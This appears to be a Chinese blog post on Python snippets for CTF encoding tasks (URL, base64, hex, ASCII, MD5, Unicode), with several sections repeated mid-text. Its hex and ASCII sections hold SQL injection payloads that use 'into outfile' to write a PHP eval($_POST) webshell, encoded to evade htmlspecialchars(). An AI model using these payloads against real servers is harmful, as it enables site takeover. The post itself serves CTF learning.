ctf网络安全个人见解

使用python编写ctf日常编码转换

2017-05-09  本文已影响114人  行书以鉴

当然也有很多的在线编码与解码的网址,但是俗话说的好:”人生苦短,我用python“

-< 不说了,开写:

<h6>URL编码与解码</h6>
url编码

from urllib import *
quote("union select null,null,null from null")
'union%20select%20null%2Cnull%2Cnull%20from%20null'

url解码

unquote("union%20select%20null%2Cnull%2Cnull%20from%20null")
'union select null,null,null from null'

url键值对key-value编码

data={
... 'a':'testing',
... 'name':'侯亮平'
... }
urlencode(data)
'a=testing&name=%E4%BE%AF%E4%BA%AE%E5%B9%B3'

</br>

<h6>base64</h6>

import base64
base64.b64encode("aurora")
'YXVyb3Jh'
base64.b64decode("YXVyb3Jh")
'aurora'

base64.b32encode("aurora")
'MF2XE33SME======'
base64.b32decode("MF2XE33SME======")
'aurora'

</br>


<h6>Hex</h6>
MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
select 3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

hexEncode

'<?php @eval($_POST["test"]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e'

hexDecode

print "3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e".decode('hex')
<?php @eval($_POST["test"]); ?>

</br>
<h6>Ascii</h6>
MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

map(ord,"<?php phpinfo()?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]

print chr(112)
p

list=[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]

for index in list:

url键值对key-value编码
>>> data={
... 'a':'testing',
... 'name':'侯亮平'
... }
>>> urlencode(data)
'a=testing&name=%E4%BE%AF%E4%BA%AE%E5%B9%B3'
>>>
</br>

<h6>base64</h6>
>>> import base64
>>> base64.b64encode("aurora")
'YXVyb3Jh'
>>> base64.b64decode("YXVyb3Jh")
'aurora'
>>>

>>> base64.b32encode("aurora")
'MF2XE33SME======'
>>> base64.b32decode("MF2XE33SME======")
'aurora'
>>>
</br>
___


<h6>Hex</h6>
MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
select 3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

hexEncode
>>> '<?php @eval($_POST["test"]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e'
>>>
hexDecode
>>> print "3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e".decode('hex')
<?php @eval($_POST["test"]); ?>
>>>
</br>
<h6>Ascii</h6>
MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

>>> map(ord,"<?php phpinfo()?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]
>>>
>>> print chr(112)
p
>>>
>>> list=[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]
>>>
>>> for index in list:
... print chr(index),
...
< ? p h p p h p i n f o ( ) ? >


<h6>MD5</h6>
md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去chamd5。

from hashlib import md5
m=md5()
m.update("secret md5")
m.hexdigest()
'a437fd3a567efa56f3f08666e516bd26'

<h6>Unicode转中文</h6>
unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单

print u"\u4f60\u9700\u8981\u767b\u9646"
你需要登陆

不得不提的是,在ctf竞赛中还是需要使用python脚本去重新定义编码的,多多领悟就好.>-<

上一篇下一篇

猜你喜欢

热点阅读